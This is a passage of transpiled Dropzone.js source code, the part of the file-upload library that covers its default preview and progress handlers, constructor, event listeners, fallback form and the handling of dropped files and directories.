this.filesize(file.size);\n            }\n\n            if (this.options.addRemoveLinks) {\n              file._removeLink = Dropzone.createElement(\"<a class=\\\"dz-remove\\\" href=\\\"javascript:undefined;\\\" data-dz-remove>\" + this.options.dictRemoveFile + \"</a>\");\n              file.previewElement.appendChild(file._removeLink);\n            }\n\n            var removeFileEvent = function removeFileEvent(e) {\n              e.preventDefault();\n              e.stopPropagation();\n              if (file.status === Dropzone.UPLOADING) {\n                return Dropzone.confirm(_this2.options.dictCancelUploadConfirmation, function () {\n                  return _this2.removeFile(file);\n                });\n              } else {\n                if (_this2.options.dictRemoveFileConfirmation) {\n                  return Dropzone.confirm(_this2.options.dictRemoveFileConfirmation, function () {\n                    return _this2.removeFile(file);\n                  });\n                } else {\n                  return _this2.removeFile(file);\n                }\n              }\n            };\n\n            for (var _iterator5 = file.previewElement.querySelectorAll(\"[data-dz-remove]\"), _isArray5 = true, _i5 = 0, _iterator5 = _isArray5 ? _iterator5 : _iterator5[Symbol.iterator]();;) {\n              var _ref4;\n\n              if (_isArray5) {\n                if (_i5 >= _iterator5.length) break;\n                _ref4 = _iterator5[_i5++];\n              } else {\n                _i5 = _iterator5.next();\n                if (_i5.done) break;\n                _ref4 = _i5.value;\n              }\n\n              var removeLink = _ref4;\n\n              removeLink.addEventListener(\"click\", removeFileEvent);\n            }\n          }\n        },\n\n\n        // Called whenever a file is removed.\n        removedfile: function removedfile(file) {\n          if (file.previewElement != null && file.previewElement.parentNode != null) {\n            file.previewElement.parentNode.removeChild(file.previewElement);\n          }\n          return this._updateMaxFilesReachedClass();\n        },\n\n\n        // Called when a thumbnail has been generated\n        // Receives `file` and `dataUrl`\n        thumbnail: function thumbnail(file, dataUrl) {\n          if (file.previewElement) {\n            file.previewElement.classList.remove(\"dz-file-preview\");\n            for (var _iterator6 = file.previewElement.querySelectorAll(\"[data-dz-thumbnail]\"), _isArray6 = true, _i6 = 0, _iterator6 = _isArray6 ? _iterator6 : _iterator6[Symbol.iterator]();;) {\n              var _ref5;\n\n              if (_isArray6) {\n                if (_i6 >= _iterator6.length) break;\n                _ref5 = _iterator6[_i6++];\n              } else {\n                _i6 = _iterator6.next();\n                if (_i6.done) break;\n                _ref5 = _i6.value;\n              }\n\n              var thumbnailElement = _ref5;\n\n              thumbnailElement.alt = file.name;\n              thumbnailElement.src = dataUrl;\n            }\n\n            return setTimeout(function () {\n              return file.previewElement.classList.add(\"dz-image-preview\");\n            }, 1);\n          }\n        },\n\n\n        // Called whenever an error occurs\n        // Receives `file` and `message`\n        error: function error(file, message) {\n          if (file.previewElement) {\n            file.previewElement.classList.add(\"dz-error\");\n            if (typeof message !== \"String\" && message.error) {\n              message = message.error;\n            }\n            for (var _iterator7 = file.previewElement.querySelectorAll(\"[data-dz-errormessage]\"), _isArray7 = true, _i7 = 0, _iterator7 = _isArray7 ? _iterator7 : _iterator7[Symbol.iterator]();;) {\n              var _ref6;\n\n              if (_isArray7) {\n                if (_i7 >= _iterator7.length) break;\n                _ref6 = _iterator7[_i7++];\n              } else {\n                _i7 = _iterator7.next();\n                if (_i7.done) break;\n                _ref6 = _i7.value;\n              }\n\n              var node = _ref6;\n\n              node.textContent = message;\n            }\n          }\n        },\n        errormultiple: function errormultiple() {},\n\n\n        // Called when a file gets processed. Since there is a cue, not all added\n        // files are processed immediately.\n        // Receives `file`\n        processing: function processing(file) {\n          if (file.previewElement) {\n            file.previewElement.classList.add(\"dz-processing\");\n            if (file._removeLink) {\n              return file._removeLink.textContent = this.options.dictCancelUpload;\n            }\n          }\n        },\n        processingmultiple: function processingmultiple() {},\n\n\n        // Called whenever the upload progress gets updated.\n        // Receives `file`, `progress` (percentage 0-100) and `bytesSent`.\n        // To get the total number of bytes of the file, use `file.size`\n        uploadprogress: function uploadprogress(file, progress, bytesSent) {\n          if (file.previewElement) {\n            for (var _iterator8 = file.previewElement.querySelectorAll(\"[data-dz-uploadprogress]\"), _isArray8 = true, _i8 = 0, _iterator8 = _isArray8 ? _iterator8 : _iterator8[Symbol.iterator]();;) {\n              var _ref7;\n\n              if (_isArray8) {\n                if (_i8 >= _iterator8.length) break;\n                _ref7 = _iterator8[_i8++];\n              } else {\n                _i8 = _iterator8.next();\n                if (_i8.done) break;\n                _ref7 = _i8.value;\n              }\n\n              var node = _ref7;\n\n              node.nodeName === 'PROGRESS' ? node.value = progress : node.style.width = progress + \"%\";\n            }\n          }\n        },\n\n\n        // Called whenever the total upload progress gets updated.\n        // Called with totalUploadProgress (0-100), totalBytes and totalBytesSent\n        totaluploadprogress: function totaluploadprogress() {},\n\n\n        // Called just before the file is sent. Gets the `xhr` object as second\n        // parameter, so you can modify it (for example to add a CSRF token) and a\n        // `formData` object to add additional information.\n        sending: function sending() {},\n        sendingmultiple: function sendingmultiple() {},\n\n\n        // When the complete upload is finished and successful\n        // Receives `file`\n        success: function success(file) {\n          if (file.previewElement) {\n            return file.previewElement.classList.add(\"dz-success\");\n          }\n        },\n        successmultiple: function successmultiple() {},\n\n\n        // When the upload is canceled.\n        canceled: function canceled(file) {\n          return this.emit(\"error\", file, this.options.dictUploadCanceled);\n        },\n        canceledmultiple: function canceledmultiple() {},\n\n\n        // When the upload is finished, either with success or an error.\n        // Receives `file`\n        complete: function complete(file) {\n          if (file._removeLink) {\n            file._removeLink.textContent = this.options.dictRemoveFile;\n          }\n          if (file.previewElement) {\n            return file.previewElement.classList.add(\"dz-complete\");\n          }\n        },\n        completemultiple: function completemultiple() {},\n        maxfilesexceeded: function maxfilesexceeded() {},\n        maxfilesreached: function maxfilesreached() {},\n        queuecomplete: function queuecomplete() {},\n        addedfiles: function addedfiles() {}\n      };\n\n      this.prototype._thumbnailQueue = [];\n      this.prototype._processingThumbnail = false;\n    }\n\n    // global utility\n\n  }, {\n    key: \"extend\",\n    value: function extend(target) {\n      for (var _len2 = arguments.length, objects = Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n        objects[_key2 - 1] = arguments[_key2];\n      }\n\n      for (var _iterator9 = objects, _isArray9 = true, _i9 = 0, _iterator9 = _isArray9 ? _iterator9 : _iterator9[Symbol.iterator]();;) {\n        var _ref8;\n\n        if (_isArray9) {\n          if (_i9 >= _iterator9.length) break;\n          _ref8 = _iterator9[_i9++];\n        } else {\n          _i9 = _iterator9.next();\n          if (_i9.done) break;\n          _ref8 = _i9.value;\n        }\n\n        var object = _ref8;\n\n        for (var key in object) {\n          var val = object[key];\n          target[key] = val;\n        }\n      }\n      return target;\n    }\n  }]);\n\n  function Dropzone(el, options) {\n    _classCallCheck(this, Dropzone);\n\n    var _this = _possibleConstructorReturn(this, (Dropzone.__proto__ || Object.getPrototypeOf(Dropzone)).call(this));\n\n    var fallback = void 0,\n        left = void 0;\n    _this.element = el;\n    // For backwards compatibility since the version was in the prototype previously\n    _this.version = Dropzone.version;\n\n    _this.defaultOptions.previewTemplate = _this.defaultOptions.previewTemplate.replace(/\\n*/g, \"\");\n\n    _this.clickableElements = [];\n    _this.listeners = [];\n    _this.files = []; // All files\n\n    if (typeof _this.element === \"string\") {\n      _this.element = document.querySelector(_this.element);\n    }\n\n    // Not checking if instance of HTMLElement or Element since IE9 is extremely weird.\n    if (!_this.element || _this.element.nodeType == null) {\n      throw new Error(\"Invalid dropzone element.\");\n    }\n\n    if (_this.element.dropzone) {\n      throw new Error(\"Dropzone already attached.\");\n    }\n\n    // Now add this dropzone to the instances.\n    Dropzone.instances.push(_this);\n\n    // Put the dropzone inside the element itself.\n    _this.element.dropzone = _this;\n\n    var elementOptions = (left = Dropzone.optionsForElement(_this.element)) != null ? left : {};\n\n    _this.options = Dropzone.extend({}, _this.defaultOptions, elementOptions, options != null ? options : {});\n\n    // If the browser failed, just call the fallback and leave\n    if (_this.options.forceFallback || !Dropzone.isBrowserSupported()) {\n      var _ret;\n\n      return _ret = _this.options.fallback.call(_this), _possibleConstructorReturn(_this, _ret);\n    }\n\n    // @options.url = @element.getAttribute \"action\" unless @options.url?\n    if (_this.options.url == null) {\n      _this.options.url = _this.element.getAttribute(\"action\");\n    }\n\n    if (!_this.options.url) {\n      throw new Error(\"No URL provided.\");\n    }\n\n    if (_this.options.acceptedFiles && _this.options.acceptedMimeTypes) {\n      throw new Error(\"You can't provide both 'acceptedFiles' and 'acceptedMimeTypes'. 'acceptedMimeTypes' is deprecated.\");\n    }\n\n    if (_this.options.uploadMultiple && _this.options.chunking) {\n      throw new Error('You cannot set both: uploadMultiple and chunking.');\n    }\n\n    // Backwards compatibility\n    if (_this.options.acceptedMimeTypes) {\n      _this.options.acceptedFiles = _this.options.acceptedMimeTypes;\n      delete _this.options.acceptedMimeTypes;\n    }\n\n    // Backwards compatibility\n    if (_this.options.renameFilename != null) {\n      _this.options.renameFile = function (file) {\n        return _this.options.renameFilename.call(_this, file.name, file);\n      };\n    }\n\n    _this.options.method = _this.options.method.toUpperCase();\n\n    if ((fallback = _this.getExistingFallback()) && fallback.parentNode) {\n      // Remove the fallback\n      fallback.parentNode.removeChild(fallback);\n    }\n\n    // Display previews in the previewsContainer element or the Dropzone element unless explicitly set to false\n    if (_this.options.previewsContainer !== false) {\n      if (_this.options.previewsContainer) {\n        _this.previewsContainer = Dropzone.getElement(_this.options.previewsContainer, \"previewsContainer\");\n      } else {\n        _this.previewsContainer = _this.element;\n      }\n    }\n\n    if (_this.options.clickable) {\n      if (_this.options.clickable === true) {\n        _this.clickableElements = [_this.element];\n      } else {\n        _this.clickableElements = Dropzone.getElements(_this.options.clickable, \"clickable\");\n      }\n    }\n\n    _this.init();\n    return _this;\n  }\n\n  // Returns all files that have been accepted\n\n\n  _createClass(Dropzone, [{\n    key: \"getAcceptedFiles\",\n    value: function getAcceptedFiles() {\n      return this.files.filter(function (file) {\n        return file.accepted;\n      }).map(function (file) {\n        return file;\n      });\n    }\n\n    // Returns all files that have been rejected\n    // Not sure when that's going to be useful, but added for completeness.\n\n  }, {\n    key: \"getRejectedFiles\",\n    value: function getRejectedFiles() {\n      return this.files.filter(function (file) {\n        return !file.accepted;\n      }).map(function (file) {\n        return file;\n      });\n    }\n  }, {\n    key: \"getFilesWithStatus\",\n    value: function getFilesWithStatus(status) {\n      return this.files.filter(function (file) {\n        return file.status === status;\n      }).map(function (file) {\n        return file;\n      });\n    }\n\n    // Returns all files that are in the queue\n\n  }, {\n    key: \"getQueuedFiles\",\n    value: function getQueuedFiles() {\n      return this.getFilesWithStatus(Dropzone.QUEUED);\n    }\n  }, {\n    key: \"getUploadingFiles\",\n    value: function getUploadingFiles() {\n      return this.getFilesWithStatus(Dropzone.UPLOADING);\n    }\n  }, {\n    key: \"getAddedFiles\",\n    value: function getAddedFiles() {\n      return this.getFilesWithStatus(Dropzone.ADDED);\n    }\n\n    // Files that are either queued or uploading\n\n  }, {\n    key: \"getActiveFiles\",\n    value: function getActiveFiles() {\n      return this.files.filter(function (file) {\n        return file.status === Dropzone.UPLOADING || file.status === Dropzone.QUEUED;\n      }).map(function (file) {\n        return file;\n      });\n    }\n\n    // The function that gets called when Dropzone is initialized. You\n    // can (and should) setup event listeners inside this function.\n\n  }, {\n    key: \"init\",\n    value: function init() {\n      var _this3 = this;\n\n      // In case it isn't set already\n      if (this.element.tagName === \"form\") {\n        this.element.setAttribute(\"enctype\", \"multipart/form-data\");\n      }\n\n      if (this.element.classList.contains(\"dropzone\") && !this.element.querySelector(\".dz-message\")) {\n        this.element.appendChild(Dropzone.createElement(\"<div class=\\\"dz-default dz-message\\\"><span>\" + this.options.dictDefaultMessage + \"</span></div>\"));\n      }\n\n      if (this.clickableElements.length) {\n        var setupHiddenFileInput = function setupHiddenFileInput() {\n          if (_this3.hiddenFileInput) {\n            _this3.hiddenFileInput.parentNode.removeChild(_this3.hiddenFileInput);\n          }\n          _this3.hiddenFileInput = document.createElement(\"input\");\n          _this3.hiddenFileInput.setAttribute(\"type\", \"file\");\n          if (_this3.options.maxFiles === null || _this3.options.maxFiles > 1) {\n            _this3.hiddenFileInput.setAttribute(\"multiple\", \"multiple\");\n          }\n          _this3.hiddenFileInput.className = \"dz-hidden-input\";\n\n          if (_this3.options.acceptedFiles !== null) {\n            _this3.hiddenFileInput.setAttribute(\"accept\", _this3.options.acceptedFiles);\n          }\n          if (_this3.options.capture !== null) {\n            _this3.hiddenFileInput.setAttribute(\"capture\", _this3.options.capture);\n          }\n\n          // Not setting `display=\"none\"` because some browsers don't accept clicks\n          // on elements that aren't displayed.\n          _this3.hiddenFileInput.style.visibility = \"hidden\";\n          _this3.hiddenFileInput.style.position = \"absolute\";\n          _this3.hiddenFileInput.style.top = \"0\";\n          _this3.hiddenFileInput.style.left = \"0\";\n          _this3.hiddenFileInput.style.height = \"0\";\n          _this3.hiddenFileInput.style.width = \"0\";\n          document.querySelector(_this3.options.hiddenInputContainer).appendChild(_this3.hiddenFileInput);\n          return _this3.hiddenFileInput.addEventListener(\"change\", function () {\n            var files = _this3.hiddenFileInput.files;\n\n            if (files.length) {\n              for (var _iterator10 = files, _isArray10 = true, _i10 = 0, _iterator10 = _isArray10 ? _iterator10 : _iterator10[Symbol.iterator]();;) {\n                var _ref9;\n\n                if (_isArray10) {\n                  if (_i10 >= _iterator10.length) break;\n                  _ref9 = _iterator10[_i10++];\n                } else {\n                  _i10 = _iterator10.next();\n                  if (_i10.done) break;\n                  _ref9 = _i10.value;\n                }\n\n                var file = _ref9;\n\n                _this3.addFile(file);\n              }\n            }\n            _this3.emit(\"addedfiles\", files);\n            return setupHiddenFileInput();\n          });\n        };\n        setupHiddenFileInput();\n      }\n\n      this.URL = window.URL !== null ? window.URL : window.webkitURL;\n\n      // Setup all event listeners on the Dropzone object itself.\n      // They're not in @setupEventListeners() because they shouldn't be removed\n      // again when the dropzone gets disabled.\n      for (var _iterator11 = this.events, _isArray11 = true, _i11 = 0, _iterator11 = _isArray11 ? _iterator11 : _iterator11[Symbol.iterator]();;) {\n        var _ref10;\n\n        if (_isArray11) {\n          if (_i11 >= _iterator11.length) break;\n          _ref10 = _iterator11[_i11++];\n        } else {\n          _i11 = _iterator11.next();\n          if (_i11.done) break;\n          _ref10 = _i11.value;\n        }\n\n        var eventName = _ref10;\n\n        this.on(eventName, this.options[eventName]);\n      }\n\n      this.on(\"uploadprogress\", function () {\n        return _this3.updateTotalUploadProgress();\n      });\n\n      this.on(\"removedfile\", function () {\n        return _this3.updateTotalUploadProgress();\n      });\n\n      this.on(\"canceled\", function (file) {\n        return _this3.emit(\"complete\", file);\n      });\n\n      // Emit a `queuecomplete` event if all files finished uploading.\n      this.on(\"complete\", function (file) {\n        if (_this3.getAddedFiles().length === 0 && _this3.getUploadingFiles().length === 0 && _this3.getQueuedFiles().length === 0) {\n          // This needs to be deferred so that `queuecomplete` really triggers after `complete`\n          return setTimeout(function () {\n            return _this3.emit(\"queuecomplete\");\n          }, 0);\n        }\n      });\n\n      var noPropagation = function noPropagation(e) {\n        e.stopPropagation();\n        if (e.preventDefault) {\n          return e.preventDefault();\n        } else {\n          return e.returnValue = false;\n        }\n      };\n\n      // Create the listeners\n      this.listeners = [{\n        element: this.element,\n        events: {\n          \"dragstart\": function dragstart(e) {\n            return _this3.emit(\"dragstart\", e);\n          },\n          \"dragenter\": function dragenter(e) {\n            noPropagation(e);\n            return _this3.emit(\"dragenter\", e);\n          },\n          \"dragover\": function dragover(e) {\n            // Makes it possible to drag files from chrome's download bar\n            // http://stackoverflow.com/questions/19526430/drag-and-drop-file-uploads-from-chrome-downloads-bar\n            // Try is required to prevent bug in Internet Explorer 11 (SCRIPT65535 exception)\n            var efct = void 0;\n            try {\n              efct = e.dataTransfer.effectAllowed;\n            } catch (error) {}\n            e.dataTransfer.dropEffect = 'move' === efct || 'linkMove' === efct ? 'move' : 'copy';\n\n            noPropagation(e);\n            return _this3.emit(\"dragover\", e);\n          },\n          \"dragleave\": function dragleave(e) {\n            return _this3.emit(\"dragleave\", e);\n          },\n          \"drop\": function drop(e) {\n            noPropagation(e);\n            return _this3.drop(e);\n          },\n          \"dragend\": function dragend(e) {\n            return _this3.emit(\"dragend\", e);\n          }\n\n          // This is disabled right now, because the browsers don't implement it properly.\n          // \"paste\": (e) =>\n          //   noPropagation e\n          //   @paste e\n        } }];\n\n      this.clickableElements.forEach(function (clickableElement) {\n        return _this3.listeners.push({\n          element: clickableElement,\n          events: {\n            \"click\": function click(evt) {\n              // Only the actual dropzone or the message element should trigger file selection\n              if (clickableElement !== _this3.element || evt.target === _this3.element || Dropzone.elementInside(evt.target, _this3.element.querySelector(\".dz-message\"))) {\n                _this3.hiddenFileInput.click(); // Forward the click\n              }\n              return true;\n            }\n          }\n        });\n      });\n\n      this.enable();\n\n      return this.options.init.call(this);\n    }\n\n    // Not fully tested yet\n\n  }, {\n    key: \"destroy\",\n    value: function destroy() {\n      this.disable();\n      this.removeAllFiles(true);\n      if (this.hiddenFileInput != null ? this.hiddenFileInput.parentNode : undefined) {\n        this.hiddenFileInput.parentNode.removeChild(this.hiddenFileInput);\n        this.hiddenFileInput = null;\n      }\n      delete this.element.dropzone;\n      return Dropzone.instances.splice(Dropzone.instances.indexOf(this), 1);\n    }\n  }, {\n    key: \"updateTotalUploadProgress\",\n    value: function updateTotalUploadProgress() {\n      var totalUploadProgress = void 0;\n      var totalBytesSent = 0;\n      var totalBytes = 0;\n\n      var activeFiles = this.getActiveFiles();\n\n      if (activeFiles.length) {\n        for (var _iterator12 = this.getActiveFiles(), _isArray12 = true, _i12 = 0, _iterator12 = _isArray12 ? _iterator12 : _iterator12[Symbol.iterator]();;) {\n          var _ref11;\n\n          if (_isArray12) {\n            if (_i12 >= _iterator12.length) break;\n            _ref11 = _iterator12[_i12++];\n          } else {\n            _i12 = _iterator12.next();\n            if (_i12.done) break;\n            _ref11 = _i12.value;\n          }\n\n          var file = _ref11;\n\n          totalBytesSent += file.upload.bytesSent;\n          totalBytes += file.upload.total;\n        }\n        totalUploadProgress = 100 * totalBytesSent / totalBytes;\n      } else {\n        totalUploadProgress = 100;\n      }\n\n      return this.emit(\"totaluploadprogress\", totalUploadProgress, totalBytes, totalBytesSent);\n    }\n\n    // @options.paramName can be a function taking one parameter rather than a string.\n    // A parameter name for a file is obtained simply by calling this with an index number.\n\n  }, {\n    key: \"_getParamName\",\n    value: function _getParamName(n) {\n      if (typeof this.options.paramName === \"function\") {\n        return this.options.paramName(n);\n      } else {\n        return \"\" + this.options.paramName + (this.options.uploadMultiple ? \"[\" + n + \"]\" : \"\");\n      }\n    }\n\n    // If @options.renameFile is a function,\n    // the function will be used to rename the file.name before appending it to the formData\n\n  }, {\n    key: \"_renameFile\",\n    value: function _renameFile(file) {\n      if (typeof this.options.renameFile !== \"function\") {\n        return file.name;\n      }\n      return this.options.renameFile(file);\n    }\n\n    // Returns a form that can be used as fallback if the browser does not support DragnDrop\n    //\n    // If the dropzone is already a form, only the input field and button are returned. Otherwise a complete form element is provided.\n    // This code has to pass in IE7 :(\n\n  }, {\n    key: \"getFallbackForm\",\n    value: function getFallbackForm() {\n      var existingFallback = void 0,\n          form = void 0;\n      if (existingFallback = this.getExistingFallback()) {\n        return existingFallback;\n      }\n\n      var fieldsString = \"<div class=\\\"dz-fallback\\\">\";\n      if (this.options.dictFallbackText) {\n        fieldsString += \"<p>\" + this.options.dictFallbackText + \"</p>\";\n      }\n      fieldsString += \"<input type=\\\"file\\\" name=\\\"\" + this._getParamName(0) + \"\\\" \" + (this.options.uploadMultiple ? 'multiple=\"multiple\"' : undefined) + \" /><input type=\\\"submit\\\" value=\\\"Upload!\\\"></div>\";\n\n      var fields = Dropzone.createElement(fieldsString);\n      if (this.element.tagName !== \"FORM\") {\n        form = Dropzone.createElement(\"<form action=\\\"\" + this.options.url + \"\\\" enctype=\\\"multipart/form-data\\\" method=\\\"\" + this.options.method + \"\\\"></form>\");\n        form.appendChild(fields);\n      } else {\n        // Make sure that the enctype and method attributes are set properly\n        this.element.setAttribute(\"enctype\", \"multipart/form-data\");\n        this.element.setAttribute(\"method\", this.options.method);\n      }\n      return form != null ? form : fields;\n    }\n\n    // Returns the fallback elements if they exist already\n    //\n    // This code has to pass in IE7 :(\n\n  }, {\n    key: \"getExistingFallback\",\n    value: function getExistingFallback() {\n      var getFallback = function getFallback(elements) {\n        for (var _iterator13 = elements, _isArray13 = true, _i13 = 0, _iterator13 = _isArray13 ? _iterator13 : _iterator13[Symbol.iterator]();;) {\n          var _ref12;\n\n          if (_isArray13) {\n            if (_i13 >= _iterator13.length) break;\n            _ref12 = _iterator13[_i13++];\n          } else {\n            _i13 = _iterator13.next();\n            if (_i13.done) break;\n            _ref12 = _i13.value;\n          }\n\n          var el = _ref12;\n\n          if (/(^| )fallback($| )/.test(el.className)) {\n            return el;\n          }\n        }\n      };\n\n      var _arr = [\"div\", \"form\"];\n      for (var _i14 = 0; _i14 < _arr.length; _i14++) {\n        var tagName = _arr[_i14];\n        var fallback;\n        if (fallback = getFallback(this.element.getElementsByTagName(tagName))) {\n          return fallback;\n        }\n      }\n    }\n\n    // Activates all listeners stored in @listeners\n\n  }, {\n    key: \"setupEventListeners\",\n    value: function setupEventListeners() {\n      return this.listeners.map(function (elementListeners) {\n        return function () {\n          var result = [];\n          for (var event in elementListeners.events) {\n            var listener = elementListeners.events[event];\n            result.push(elementListeners.element.addEventListener(event, listener, false));\n          }\n          return result;\n        }();\n      });\n    }\n\n    // Deactivates all listeners stored in @listeners\n\n  }, {\n    key: \"removeEventListeners\",\n    value: function removeEventListeners() {\n      return this.listeners.map(function (elementListeners) {\n        return function () {\n          var result = [];\n          for (var event in elementListeners.events) {\n            var listener = elementListeners.events[event];\n            result.push(elementListeners.element.removeEventListener(event, listener, false));\n          }\n          return result;\n        }();\n      });\n    }\n\n    // Removes all event listeners and cancels all files in the queue or being processed.\n\n  }, {\n    key: \"disable\",\n    value: function disable() {\n      var _this4 = this;\n\n      this.clickableElements.forEach(function (element) {\n        return element.classList.remove(\"dz-clickable\");\n      });\n      this.removeEventListeners();\n      this.disabled = true;\n\n      return this.files.map(function (file) {\n        return _this4.cancelUpload(file);\n      });\n    }\n  }, {\n    key: \"enable\",\n    value: function enable() {\n      delete this.disabled;\n      this.clickableElements.forEach(function (element) {\n        return element.classList.add(\"dz-clickable\");\n      });\n      return this.setupEventListeners();\n    }\n\n    // Returns a nicely formatted filesize\n\n  }, {\n    key: \"filesize\",\n    value: function filesize(size) {\n      var selectedSize = 0;\n      var selectedUnit = \"b\";\n\n      if (size > 0) {\n        var units = ['tb', 'gb', 'mb', 'kb', 'b'];\n\n        for (var i = 0; i < units.length; i++) {\n          var unit = units[i];\n          var cutoff = Math.pow(this.options.filesizeBase, 4 - i) / 10;\n\n          if (size >= cutoff) {\n            selectedSize = size / Math.pow(this.options.filesizeBase, 4 - i);\n            selectedUnit = unit;\n            break;\n          }\n        }\n\n        selectedSize = Math.round(10 * selectedSize) / 10; // Cutting of digits\n      }\n\n      return \"<strong>\" + selectedSize + \"</strong> \" + this.options.dictFileSizeUnits[selectedUnit];\n    }\n\n    // Adds or removes the `dz-max-files-reached` class from the form.\n\n  }, {\n    key: \"_updateMaxFilesReachedClass\",\n    value: function _updateMaxFilesReachedClass() {\n      if (this.options.maxFiles != null && this.getAcceptedFiles().length >= this.options.maxFiles) {\n        if (this.getAcceptedFiles().length === this.options.maxFiles) {\n          this.emit('maxfilesreached', this.files);\n        }\n        return this.element.classList.add(\"dz-max-files-reached\");\n      } else {\n        return this.element.classList.remove(\"dz-max-files-reached\");\n      }\n    }\n  }, {\n    key: \"drop\",\n    value: function drop(e) {\n      if (!e.dataTransfer) {\n        return;\n      }\n      this.emit(\"drop\", e);\n\n      // Convert the FileList to an Array\n      // This is necessary for IE11\n      var files = [];\n      for (var i = 0; i < e.dataTransfer.files.length; i++) {\n        files[i] = e.dataTransfer.files[i];\n      }\n\n      this.emit(\"addedfiles\", files);\n\n      // Even if it's a folder, files.length will contain the folders.\n      if (files.length) {\n        var items = e.dataTransfer.items;\n\n        if (items && items.length && items[0].webkitGetAsEntry != null) {\n          // The browser supports dropping of folders, so handle items instead of files\n          this._addFilesFromItems(items);\n        } else {\n          this.handleFiles(files);\n        }\n      }\n    }\n  }, {\n    key: \"paste\",\n    value: function paste(e) {\n      if (__guard__(e != null ? e.clipboardData : undefined, function (x) {\n        return x.items;\n      }) == null) {\n        return;\n      }\n\n      this.emit(\"paste\", e);\n      var items = e.clipboardData.items;\n\n\n      if (items.length) {\n        return this._addFilesFromItems(items);\n      }\n    }\n  }, {\n    key: \"handleFiles\",\n    value: function handleFiles(files) {\n      for (var _iterator14 = files, _isArray14 = true, _i15 = 0, _iterator14 = _isArray14 ? _iterator14 : _iterator14[Symbol.iterator]();;) {\n        var _ref13;\n\n        if (_isArray14) {\n          if (_i15 >= _iterator14.length) break;\n          _ref13 = _iterator14[_i15++];\n        } else {\n          _i15 = _iterator14.next();\n          if (_i15.done) break;\n          _ref13 = _i15.value;\n        }\n\n        var file = _ref13;\n\n        this.addFile(file);\n      }\n    }\n\n    // When a folder is dropped (or files are pasted), items must be handled\n    // instead of files.\n\n  }, {\n    key: \"_addFilesFromItems\",\n    value: function _addFilesFromItems(items) {\n      var _this5 = this;\n\n      return function () {\n        var result = [];\n        for (var _iterator15 = items, _isArray15 = true, _i16 = 0, _iterator15 = _isArray15 ? _iterator15 : _iterator15[Symbol.iterator]();;) {\n          var _ref14;\n\n          if (_isArray15) {\n            if (_i16 >= _iterator15.length) break;\n            _ref14 = _iterator15[_i16++];\n          } else {\n            _i16 = _iterator15.next();\n            if (_i16.done) break;\n            _ref14 = _i16.value;\n          }\n\n          var item = _ref14;\n\n          var entry;\n          if (item.webkitGetAsEntry != null && (entry = item.webkitGetAsEntry())) {\n            if (entry.isFile) {\n              result.push(_this5.addFile(item.getAsFile()));\n            } else if (entry.isDirectory) {\n              // Append all files from that directory to files\n              result.push(_this5._addFilesFromDirectory(entry, entry.name));\n            } else {\n              result.push(undefined);\n            }\n          } else if (item.getAsFile != null) {\n            if (item.kind == null || item.kind === \"file\") {\n              result.push(_this5.addFile(item.getAsFile()));\n            } else {\n              result.push(undefined);\n            }\n          } else {\n            result.push(undefined);\n          }\n        }\n        return result;\n      }();\n    }\n\n    // Goes through the directory, and adds each file it finds recursively\n\n  }, {\n    key: \"_addFilesFromDirectory\",\n    value: function _addFilesFromDirectory(directory, path) {\n      var _this6 = this;\n\n      var dirReader = directory.createReader();\n\n      var errorHandler = function errorHandler(error) {\n        return __guardMethod__(console, 'log', function (o) {\n          return o.log(error);\n        });\n      };\n\n      var readEntries = function readEntries() {\n        return dirReader.readEntries(function (entries) {\n          if (entries.length > 0) {\n            for (var _iterator16 = entries, _isArray16 = true, _i17 = 0, _iterator16 = _isArray16 ? _iterator16 : _iterator16[Symbol.iterator]();;) {\n              var _ref15;\n\n              if (_isArray16) {\n                if (_i17 >= _iterator16.length) break;\n                _ref15 = _iterator16[_i17++];\n              } else {\n                _i17 = _iterator16.next();\n                if (_i17.done) break;\n                _ref15 = _i17.value;\n              }\n\n              var entry = _ref15;\n\n              if (entry.isFile) {\n                entry.file(function (file) {\n                  if (_this6.options.ignoreHiddenFiles && file.name.substring(0, 1) === '.') {\n                    return;\n                  }\n                  file.fullPath = path + \"/\" + file.name;\n                  return _this6.addFile(file);\n                });\n              } else if (entry.isDirectory) {\n                _this6._addFilesFromDirectory(entry, path + \"/\" + entry.name);\n              }\n            }\n\n            // Recursively call readEntries() again, since browser only handle\n            // the first 100 entries.\n            // See: https://developer.mozilla.org/en-US/docs/Web/API/DirectoryReader#readEntries\n            readEntries();\n          }\n          return null;\n        }, errorHandler);\n      };\n\n      return readEntries();\n    }\n\n    // If `done()` is called without argument the file is accepted\n    // If you call it with an error message, the file is rejected\n    // (This allows for asynchronous validation)\n    //\n    // This function checks the filesize, and if the file.type passes the\n    // `acceptedFiles` check.\n\n  }, {\n    key: \"accept\",\n    value: function accept(file, done) {\n      if (this.options.maxFilesize && file.size > this.options.maxFilesize * 1024 * 1024) {\n        return done(this.options.dictFileTooBig.replace(\"{{filesize}}\", Math.round(file.size / 1024 / 10.24) / 100).replace(\"{{maxFilesize}}\", this.options.maxFilesize));\n      } else if (!Dropzone.isValidFile(file, this.options.acceptedFiles)) {\n        return done(this.options.dictInvalidFileType);\n      } else if (this.options.maxFiles != null && this.getAcceptedFiles().length >= this.options.maxFiles) {\n        done(this.options.dictMaxFilesExceeded.replace(\"{{maxFiles}}\", this.options.maxFiles));\n        return this.emit(\"maxfilesexceeded\", file);\n      } else {\n        return this.options.accept.call(this, file, done);\n      }\n    }\n  }, {\n    key: \"addFile\",\n    value: function addFile(file) {\n      var _this7 = this;\n\n      file.upload = {\n        uuid: Dropzone.uuidv4(),\n        progress: 0,\n        // Setting the total upload size to file.size for the beginning\n        // It's actual different than the size to be transmitted.\n        total: file.size,\n        bytesSent: 0,\n        filename: this._renameFile(file),\n        chunked: this.options.chunking && (this.options.forceChunking || file.size > this.options.chunkSize),\n        totalChunkCount: Math.ceil(file.size / this.options.chunkSize)\n      };\n      this.files.push(file);\n\n      file.status = Dropzone.ADDED;\n\n      this.emit(\"addedfile\", file);\n\n      this._enqueueThumbnail(file);\n\n      return this.accept(file, function (error) {\n        if (error) {\n          file.accepted = false;\n          _this7._errorProcessing([file], error); // Will set the file.status\n        } else {\n          file.accepted = true;\n          if (_this7.options.autoQueue) {\n            _this7.enqueueFile(file);\n          } // Will set .accepted = true\n        }\n        return _this7._updateMaxFilesReachedClass();\n      });\n    }\n\n    // Wrapper for enqueueFile\n\n  }, {\n    key: \"enqueueFiles\",\n    value: function enqueueFiles(files) {\n      for (var _iterator17 = files, _isArray17 = true, _i18 = 0, _iterator17 = _isArray17 ? _iterator17 : 